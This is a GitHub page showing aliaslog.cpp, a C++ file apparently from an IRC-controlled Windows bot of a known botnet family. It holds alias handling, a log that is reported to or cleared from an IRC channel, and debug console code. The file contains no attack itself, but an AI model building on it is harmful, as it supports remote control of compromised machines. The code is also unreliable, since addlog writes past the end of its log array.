-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathaliaslog.cpp
204 lines (160 loc) · 4.31 KB
/
aliaslog.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#include "includes.h"
#include "functions.h"
#include "externs.h"
// globals
#ifdef DEBUG_LOGGING
FILE *gfp;
#endif
char log[LOGSIZE][LOGLINE];
int addalias(char *name, char *command)
{
int i;
for (i = 0; i < MAXALIASES; i++) {
if (aliases[i].name[0] == '\0' || strcmp(aliases[i].name, name) == 0) {
memset(&aliases[i], 0, sizeof(aliases[i]));
strncpy(aliases[i].name, name, sizeof(aliases[i].name)-1);
strncpy(aliases[i].command, command, sizeof(aliases[i].command)-1);
anum++;
break;
}
}
return i;
}
void aliaslist(SOCKET sock, char *chan, BOOL notice)
{
char buffer[IRCLINE];
irc_privmsg(sock, chan, "-[Alias List]-", notice);
for (int i = 0; i < MAXALIASES; i++) {
if (aliases[i].name[0] != '\0') {
_snprintf(buffer, sizeof(buffer),"%d. %s = %s", i, aliases[i].name, aliases[i].command);
irc_privmsg(sock, chan, buffer, notice,TRUE);
}
}
return;
}
void addlog(char *desc)
{
SYSTEMTIME st;
GetLocalTime(&st);
for (register int i = LOGSIZE; i >= 0; i--)
if (log[i][0] != '\0')
strncpy(log[i+1], log[i], sizeof(log[i+1])-1);
_snprintf(log[0], sizeof(log[0]), "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s", st.wMonth, st.wDay, st.wYear, st.wHour, st.wMinute, st.wSecond, desc);
return;
}
void addlogv(char *desc, ...)
{
char logbuf[LOGLINE];
va_list argp;
va_start(argp, desc);
_vsnprintf(logbuf, sizeof(logbuf), desc, argp);
addlog(logbuf);
return;
}
void showlog(SOCKET sock, char *chan, BOOL notice, BOOL silent, char *filter)
{
int entries = LOGSIZE, tmp = 0;
if (!silent) irc_privmsg(sock, chan, "-[Logs]-", notice);
if (filter) {
if ((tmp = atoi(filter)) != 0)
entries = tmp;
}
for (int i = 0, j = 0; i < LOGSIZE && j < entries; i++, j++)
if (log[i][0] != '\0') {
if (!filter || tmp != 0)
irc_privmsg(sock, chan, log[i], notice, TRUE);
else if (lstrstr(log[i], filter))
irc_privmsg(sock, chan, log[i], notice, TRUE);
}
return;
}
void clearlog(SOCKET sock, char *chan, BOOL notice, BOOL silent)
{
for (register int i = 0;i < LOGSIZE; log[i++][0] = '\0');
if (!silent) irc_privmsg(sock, chan, "[LOGS]: Cleared.", notice);
addlog("[LOGS]: Cleared.");
return;
}
BOOL searchlog(char *filter)
{
for (int i = 0; i < LOGSIZE; i++)
if (log[i][0] != '\0') {
if (lstrstr(log[i], filter))
return TRUE;
}
return FALSE;
}
DWORD WINAPI ShowLogThread(LPVOID param)
{
char sendbuf[IRCLINE];
int entries = LOGSIZE, tmp = 0;
SHOWLOG showlog = *((SHOWLOG *)param);
SHOWLOG *showlogp = (SHOWLOG *)param;
showlogp->gotinfo = TRUE;
if (!showlog.silent) irc_privmsg(showlog.sock,showlog.chan,"[LOG]: Begin",showlog.notice);
if (showlog.filter[0] != '\0') {
if ((tmp = atoi(showlog.filter)) != 0)
entries = tmp;
}
for (int i = 0, j = 0; i < LOGSIZE && j < entries; i++, j++)
if (log[i][0] != '\0') {
if (showlog.filter[0] == '\0' || tmp != 0)
irc_privmsg(showlog.sock, showlog.chan, log[i], showlog.notice, TRUE);
else if (lstrstr(log[i], showlog.filter))
irc_privmsg(showlog.sock, showlog.chan, log[i], showlog.notice, TRUE);
}
sprintf(sendbuf,"[LOG]: List complete.");
if (!showlog.silent) irc_privmsg(showlog.sock,showlog.chan,sendbuf,showlog.notice);
addlog(sendbuf);
clearthread(showlog.threadnum);
ExitThread(0);
}
#ifdef DEBUG_LOGGING
void opendebuglog(void)
{
gfp = fopen(logfile, "ab");
return;
}
void debuglog(char *buffer, BOOL crlf)
{
if (gfp != NULL) {
if (crlf)
fprintf(gfp,"%s\r\n",buffer);
else
fprintf(gfp,"%s",buffer);
fflush(gfp);
}
return;
}
void closedebuglog(void)
{
fclose(gfp);
return;
}
#endif
#ifdef DEBUG_CONSOLE
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType)
{
switch(dwCtrlType) {
case CTRL_C_EVENT:
case CTRL_BREAK_EVENT:
case CTRL_CLOSE_EVENT:
return TRUE;
}
return FALSE;
}
void OpenConsole(void)
{
AllocConsole();
int hCrt = _open_osfhandle((long)GetStdHandle(STD_OUTPUT_HANDLE),_O_TEXT);
FILE *hf = _fdopen(hCrt,"w");
*stdout = *hf;
int i = setvbuf(stdout,NULL,_IONBF,0);
hCrt = _open_osfhandle((long)GetStdHandle(STD_ERROR_HANDLE),_O_TEXT);
hf = _fdopen(hCrt,"w");
*stderr = *hf;
i = setvbuf(stdout,NULL,_IONBF,0);
SetConsoleCtrlHandler(HandlerRoutine, true);
return;
}
#endif